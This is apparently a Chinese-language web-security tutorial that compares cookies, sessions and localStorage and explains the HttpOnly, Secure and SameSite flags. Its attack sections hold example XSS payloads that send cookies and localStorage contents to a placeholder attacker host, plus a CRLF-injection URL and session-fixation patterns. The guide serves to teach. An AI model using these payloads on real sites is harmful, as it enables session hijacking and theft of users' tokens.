HTTP請求中的Cookie資訊通常用於判斷使用者登入狀態，其中伺服器會在使用者登入時將加密的唯一辨識碼插入Cookie中。 HTML5的了localStorage和sessionStorage，為優化使用者體驗提供了更靈活的選擇。 localStorage可取代Cookie保存購物車資訊或HTML5遊戲產生的本地數據，而sessionStorage適用於分割多步驟表單以優化使用者填寫體驗。 這使得特定場景中可以減少對Cookie的依賴。
| 特性 | Cookie／session | WEBSTORAGE | |
|---|---|---|---|
| 數據的生命期 | Cookie：一般由伺服器生成，可設定失效時間。 SESSION：僅在目前會話下有效，關閉頁面或瀏覽器後清除 | localStorage：除非被清除，否則永久保存 sessionStorage：僅在目前會話下有效，關閉頁面或瀏覽器後清除 | |
| 存放數據大小 | 4K左右 | 一般為5MB | |
| 与服务器端通信 | 每次都會攜帶在HTTP頭中，如果使用cookie保存過多資料會帶來效能問題 | 僅在客戶端（即瀏覽器）中保存，不參與和伺服器的通信 | |
ps:
JSESSIONID JAVA產生的SESSION; PHPSESSID, PHP產生的SESSION
Cookie安全
我們可以為儲存在Cookie容器中的資料設定Header參數
正常返回cookie內容格式如下
Set-Cookie: <name>=<value>[; <Max-Age>=<age>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly][; SameSite=<value>]
如果有設定常見的cookie保護機制 httponly, secure, samesite,返回內容大致如下
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=hYubTLpH7nlTqUNtyhKHL2ULx7o8cvGh; Secure; HttpOnly; SameSite=Strict
httpOnly
有設定此flag，Cookie只限被伺服器端訪問，無法在客戶端讀取。
secure
有設定此flag，Cookie只能透過https的方式傳輸。
SameSite
這個屬性可以讓 cookie 在跨站請求情況下不會被傳送，從而可以阻止CSRF，可以有下面三種值：
- None： 無論是否跨站都會發送 Cookie，但前提是有設定Secure屬性
- Strict： 僅允許一方要求攜帶 Cookie，即瀏覽器將只發送相同網站請求的 Cookie，即當前網頁 URL 與請求目標 URL 完全一致。
- Lax：允許部分第三方請求攜帶 Cookie （鏈接，預加載請求，GET 表單），游覽器默認此選項
| 請求類型 | 範例 | 正常狀況 | Lax |
|---|---|---|---|
| 連結 | <a href="..."></a> | 發送Cookie | 發送Cookie |
| 預先載入 | <link rel="prerender" href="..."/> | 發送Cookie | 發送Cookie |
| GET 表單 | <form method="GET" action="..."> | 發送Cookie | 發送Cookie |
| POST 表單 | <form method="POST" action="..."> | 發送Cookie | 不發送 |
| iframe | <iframe src="..."></iframe> | 發送Cookie | 不發送 |
| AJAX | $.get("...") | 發送Cookie | 不發送 |
| Image | <img src="..."> | 發送Cookie | 不發送 |
ps: Chrome 之前預設是 None 的，Chrome80 後基於安全考慮預設是 Lax
CORS
如果有跨域請求，Access-Control-Allow-Origin的來源必須要在服務器的接受清單中，同時也要能接受Access-Control-Allow-Credentials: true的請求才能跨域傳送cookie
常見的cookie攻擊
偷cookie
讓受害者訪問攻擊頁面以偷取cookie，常見js code如下
1
. <script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>
2
. <script>window.open('http://url/test?cookie='+document.cookie)</script>
3
. <script>document.location="http://url/test.php?c="+document.cookie;</script>透過CRLF注入會話
正常請求的返回內容如下
HTTP/1.1 200 OK
Location:http://systw.net但如果有漏洞，只要在請求時改成http://systw.net%0aSet-cookie:sessionid%3Dtest ，伺服器會返回如下
HTTP/1.1 200 OK
Location:http://systw.net
Set-cookie:sessionid=test表示成功就為受害者設定了一個指定的session
將Cookie放入URL GET
做法可參考如下
http://[redacted.com]/path/file.php?f=a&location=12&PHPSESSID={payload}如果目標有安全漏洞，可以成功為受害者指定session
refer
https://www.jianshu.com/p/e6a9d7e9dbb2
https://www.cnblogs.com/mysticbinary/p/12560080.html
https://medium.com/@agrawalsmart7/cookie-based-injection-xss-making-exploitable-with-out-exploiting-other-vulns-81132ca01d67
https://nosec.org/home/detail/2793.html
Web Storage安全
Web Storage的儲存對像是獨立於網域名稱的，也就是說不同網站下的Web應用程式有著自己獨立的儲存對象，互相間是無法存取的，在這一點上SessionStorage和LocalStorage是相同的。如果要放寬這個限制這要使用CORS。
例如：
部署在aaa.com上的Web應用程式無法存取bbb.com的Web Storage儲存物件。
部署在a1.aaa.com上的Web應用程式無法存取a2.aaa.com的Web Storage儲存物件。
部署在https://aaa.com上的Web應用程式無法存取http://aaa.com的Web Storage儲存物件。
常見的web storage攻擊
偷web storage
讓受害者訪問攻擊頁面以偷取webstorage，常見js code如下
1.偷取指定的key值
<script>alert(localStorage.getItem('foo'))</script>2.不知道key值可以把localstorage所有內容顯示出來
<script>alert(JSON.stringify(localStorage))</script>3.把目標localstorage的內容複製到攻擊者指定位置
<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>refer
https://jerryzou.com/posts/cookie-and-web-storage/
https://www.cnblogs.com/waleswood/p/15930414.html
http://michael-coates.blogspot.com/2010/07/html5-local-storage-and-xss.html
https://www.freebuf.com/vuls/228787.html